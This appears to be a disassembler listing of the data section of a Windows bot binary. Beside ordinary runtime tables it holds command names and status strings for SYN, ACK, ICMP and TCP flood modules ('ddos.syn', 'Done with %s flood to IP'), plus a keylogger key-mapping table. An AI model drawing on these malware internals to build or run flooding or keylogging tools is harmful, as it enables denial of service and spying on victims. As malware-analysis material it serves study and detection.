1.666666666666667e-1 ; DATA XREF: sub_403FE6+15r dword_424280 dd 0FFFFFFFFh ; DATA XREF: sub_404032+16Fr ; sub_404464r ... align 8 dbl_424288 dq 1.333333333333333 ; DATA XREF: sub_404032+79r dword_424290 dd 0 ; DATA XREF: sub_4041D4+4Do ; sub_404514+5Bo ... flt_424294 dd 5.0e-1 ; DATA XREF: ___:00404CE7r dword_424298 dd 0 ; DATA XREF: sub_40C21E+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dbl_424698 dq 9.765625e-4 ; DATA XREF: sub_40CAF1+2BDr ; sub_40CAF1+2D8r ... dbl_4246A0 dq -3.0517578125e-5 ; DATA XREF: sub_415450+1Er dbl_4246A8 dq 1.0 ; DATA XREF: sub_417CA4+6Cr ; sub_417DEB+6Cr ... dd 0FFFFFFFFh, 419CBBh, 419CCFh byte_4246BC db 6 ; DATA XREF: sub_419E38:loc_419E8Fr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43959Co unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_439598o align 10h a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41AB9C+8Eo align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41AB9C+4Fo align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43B7ECo align 8 dbl_424818 dq 0.0 ; DATA XREF: sub_41C2F3+8Cr ; sub_41C2F3+ACr ... dbl_424820 dq 4.195835e6 ; DATA XREF: sub_41C808+Fr dbl_424828 dq 3.145727e6 ; DATA XREF: sub_41C808+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C846+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_41C846o align 4 aE000 db 'e+000',0 ; DATA XREF: sub_41C96D+93o align 10h dword_424860 dd 0FFFFFFFFh, 41D058h, 41D062h, 0 ; DATA XREF: sub_41CFF1+5o dword_424870 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D120+5o dd offset loc_41D1DE align 10h dd offset sub_41D1BC dd offset sub_41D1C6 dword_424888 dd 0FFFFFFFFh, 41D40Eh, 41D412h, 0 ; DATA XREF: sub_41D256+5o dword_424898 dd 0FFFFFFFFh, 41D470h, 41D479h, 0 ; DATA XREF: sub_41D41A+5o dword_4248A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D4FC+5o dd offset loc_41D54D align 8 dd offset loc_41D539 dd offset loc_41D53D dword_4248C0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D552+5o dd offset loc_41D5A3 align 10h dd offset loc_41D58F dd offset loc_41D593 dword_4248D8 dd 2 dup(0) ; DATA XREF: sub_41E709+36o ; sub_41FB63+39o ... dword_4248E0 dd 0FFFFFFFFh, 41E819h, 41E81Dh, 0FFFFFFFFh, 41E8CDh, 41E8D1h ; DATA XREF: sub_41E709+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43BC2Co db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F885+119o align 4 asc_424BA8 db 0Ah ; DATA XREF: sub_41F885+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41F885+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_41F885+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41F885+7Do align 8 dword_424BE8 dd 0FFFFFFFFh, 41FC5Ch, 41FC60h ; DATA XREF: sub_41FB63+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_42094E+Ao align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_42105F+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_42105F+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_42105F+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4219A9:loc_421A9Eo align 10h a1Inf db '1#INF',0 ; DATA XREF: sub_4219A9+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_4219A9+C7o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: sub_4219A9+ADo align 4 dword_424C88 dd 0FFFFFFFFh, 4223A1h, 4223A5h, 0FFFFFFFFh, 422410h, 422414h ; DATA XREF: sub_4221EA+5o dd 424DC4h off_424CA4 dd offset loc_4227D2 ; DATA XREF: sub_4227AA+8o ; sub_4227EE+2Co ... dd offset sub_4227C5 dd offset sub_4229E6 dd offset dword_424E10 off_424CB4 dd offset sub_42283C ; DATA XREF: sub_4227EE+3Ao ; sub_422858o ... dd offset sub_4227C5 dd offset loc_422A22 dword_424CC0 dd 0 ; DATA XREF: sub_4227EE+16o ; sub_4228C0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_422863+11o dd offset dword_424E5C off_424CE0 dd offset sub_42294B ; DATA XREF: sub_422967o ; sub_42298A+37o ... dd offset sub_4227C5 dd offset loc_422A04 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42298A+11o dd offset dword_424EA0 off_424D00 dd offset loc_422AE7 ; DATA XREF: sub_422AD2o ; ___:off_43C34Co ... dd offset dword_424ED0 off_424D08 dd offset loc_422B03 ; DATA XREF: sub_422B1F+8o ; sub_422B5C+8o ... dd offset sub_422BBC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_422BBC+7o align 8 dword_424D28 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_422BC9+Eo dd 3, 19930520h, 2 dup(0) dword_424D48 dd 0FFFFFFFFh, 422D7Ah, 422D7Eh, 0FFFFFFFFh, 422DF7h, 422DFBh ; DATA XREF: sub_422C78+5o dword_424D60 dd 0FFFFFFFFh, 422FEFh, 422FF3h, 0FFFFFFFFh, 42304Ch, 423050h ; DATA XREF: sub_422F03+5o dd 43C34Ch, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_424D90 dd offset off_43C364 ; DATA XREF: ___:00424DA8o ; ___:00424DF4o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_424D90 dd offset dword_424D60+18h dword_424DB0 dd 3 dup(0) ; DATA XREF: ___:00424DD4o dd 2, 424DA8h, 3 dup(0) dd offset off_43C364 dd offset dword_424DB0+4 off_424DD8 dd offset off_43C384 ; DATA XREF: ___:00424DF0o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_424DD8 dd offset off_424D90 dd offset dword_424D60+18h dword_424DFC dd 3 dup(0) ; DATA XREF: ___:00424E20o dd 3, 424DF0h dword_424E10 dd 3 dup(0) ; DATA XREF: ___:00424CB0o dd offset off_43C384 dd offset dword_424DFC+4 ; --------------------------------------------------------------------------- loc_424E24: ; DATA XREF: ___:00424E3Co movsb retn ; --------------------------------------------------------------------------- dw 43h dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset loc_424E24 dd offset off_424D90 dd offset dword_424D60+18h dd 3 dup(0) dd 3, 424E3Ch dword_424E5C dd 3 dup(0) ; DATA XREF: ___:00424CDCo ; --------------------------------------------------------------------------- movsb retn ; --------------------------------------------------------------------------- inc ebx add [esi+ecx*2+42h], cl loc_424E6F: ; DATA XREF: ___:00424E88o add al, cl retn ; --------------------------------------------------------------------------- dw 43h dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset loc_424E6F+1 dword_424E8C dd 3 dup(0) ; DATA XREF: ___:00424EB0o dd 1, 424E88h dword_424EA0 dd 3 dup(0) ; DATA XREF: ___:00424CFCo dd offset off_43C3C8 dd offset dword_424E8C+4 dd offset dword_424D60+18h dword_424EB8 dd 4 dup(0) ; DATA XREF: ___:00424EE0o dd 1, 424EB4h dword_424ED0 dd 3 dup(0) ; DATA XREF: ___:00424D04o dd offset off_43C34C dd offset dword_424EB8+8 align 8 dword_424EE8 dd 19930520h, 2, 424F08h, 5 dup(0) ; DATA XREF: ___:loc_4230E7o dd 0FFFFFFFFh, 4230D0h, 0 dd offset sub_4230C8 dword_424F18 dd 19930520h, 2, 424F38h, 5 dup(0) ; DATA XREF: ___:loc_423104o dd 0FFFFFFFFh, 4230F4h, 0 dd offset loc_4230FC dword_424F48 dd 19930520h, 2, 424F68h, 1, 424F78h, 3 dup(0) ; DATA XREF: ___:loc_423110o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 424F90h, 4 dup(0) dd offset loc_40477E dd 0FFFFFFFFh, 42311Ah dword_424FA8 dd 19930520h, 1, 424FA0h, 5 dup(0) ; DATA XREF: ___:loc_423122o dd offset off_43C34C align 10h dd 0FFFFFFFFh, 0 dd 0Ch, 422B5Ch, 0 dd offset off_43C364 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 422908h, 0 dd offset off_43C384 align 8 dd 0FFFFFFFFh, 0 dword_425010 dd 1Ch, 422972h, 3, 424FFCh, 424FE0h, 424FC4h ; DATA XREF: ___:00425034o dword_425028 dd 0 ; DATA XREF: sub_422863+2Eo ; sub_4229E6+4Bo dd offset sub_422858 dd 0 dd offset dword_425010+8 dd 0FFFFFFFFh, 42312Ch dword_425040 dd 19930520h, 1, 425038h, 4 dup(0) ; DATA XREF: ___:loc_423134o dd 0FFFFFFFFh, 42313Eh dword_425064 dd 19930520h, 1, 42505Ch, 4 dup(0) ; DATA XREF: ___:loc_423146o dd 0FFFFFFFFh, 423150h dword_425088 dd 19930520h, 1, 425080h, 5 dup(0) ; DATA XREF: ___:loc_423158o ; --------------------------------------------------------------------------- movsb retn ; --------------------------------------------------------------------------- dw 43h align 10h dd 0FFFFFFFFh, 0 dword_4250B8 dd 1Ch, 4229CEh, 3, 4250A4h, 424FE0h, 424FC4h ; DATA XREF: ___:004250DCo dword_4250D0 dd 0 ; DATA XREF: sub_42298A+2Eo ; sub_4229E6+2Do dd offset sub_422967 dd 0 dd offset dword_4250B8+8 dd 0FFFFFFFFh, 423162h dword_4250E8 dd 19930520h, 1, 4250E0h, 4 dup(0) ; DATA XREF: ___:loc_42316Ao dword_425104 dd 2, 424FE0h, 424FC4h ; DATA XREF: ___:0042511Co dword_425110 dd 0 ; DATA XREF: sub_4229E6+Fo dd offset sub_4227AA dd 0 dd offset dword_425104 dd 5 dup(8E4198Ah), 5 dup(3ABA1C8Bh), 5 dup(492D9369h) dd 7Ah dup(0) dd 492D9369h, 0 dd 8E4198Ah, 12h dup(0) dd 3ABA1C8Bh, 319h dup(0) dword_426000 dd 0 ; DATA XREF: sub_419AB8+1Fo dd offset sub_4030CC dd offset sub_40482C dd offset sub_40484E dword_426010 dd 0 ; DATA XREF: sub_419AB8+1Ao dword_426014 dd 0 ; DATA XREF: sub_419AB8+10o dd offset sub_418682 dd offset sub_41ECF1 dd offset sub_41FA42 dd offset dword_4208B4 dword_426028 dd 0 ; DATA XREF: sub_419AB8:loc_419AC3o dword_42602C dd 0 ; DATA XREF: sub_419B07+65o dd offset sub_41FAE7 dword_426034 dd 0 ; DATA XREF: sub_419B07:loc_419B67o dword_426038 dd 0 ; DATA XREF: sub_419B07+76o dd offset dword_4208B4+11h dword_426040 dd 4 dup(0) ; DATA XREF: sub_419B07:loc_419B78o unk_426050 db 2 ; DATA XREF: sub_401000+5Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithFloodI db ' Done with flood (%iKB/sec).',0 align 4 unk_426088 db 2 ; DATA XREF: sub_4010B5+302o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendErrorD_ db ' Send error: <%d>.',0 align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B5:loc_4011E1o ; sub_40EE72+268Fo aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B5:loc_4011C5o ; sub_40EE72+2678o align 10h aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_4010B5+F1o ; sub_40EE72+2661o align 4 unk_4260DC db 2 ; DATA XREF: sub_40144A+397o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithSFlood db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 unk_42613C db 2 ; DATA XREF: sub_40144A+307o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPa db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 unk_42619C db 2 ; DATA XREF: sub_40144A+12Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidTargetI db ' Invalid target IP.',0 align 4 unk_4261CC db 2 ; DATA XREF: sub_40144A+C2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSetsockop db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 unk_426214 db 2 ; DATA XREF: sub_40144A:loc_401493o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSocketFai db ' Error: socket() failed, returned: <%d>.',0 align 4 aSupersynDoneWi db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_401831+4Bo align 10h dword_426280 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_4019D7+4Bo dd 2BBBB02h aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0 align 4 dword_4262B8 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401A76+27Do dd 2BBBB02h aSendErrorD__0 db ' Send error: <%d>.',0 dword_4262E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+4EBo dd 2BBBB02h aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 dword_426344 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+44Fo dd 2BBBB02h aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 aRandom db 'random',0 ; DATA XREF: sub_401D82+312o ; sub_40EE72+2C3Co ... align 4 aAck db 'ack',0 ; DATA XREF: sub_401D82+2F2o ; sub_40EE72+2C25o aSyn db 'syn',0 ; DATA XREF: sub_401D82+2D2o ; sub_40EE72+2C0Do dword_4263B4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+15Fo dd 2BBBB02h aInvalidTarge_0 db ' Invalid target IP.',0 align 4 dword_4263E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+EEo dd 2BBBB02h aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 dword_42642C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+70o dd 2BBBB02h aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0 align 10h dw 8 unicode 0, <>,0 aB: ; DATA XREF: sub_4023A7:loc_40248Ao unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_426BA4 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4023A7+2B6o dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_426BDC dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h ; DATA XREF: 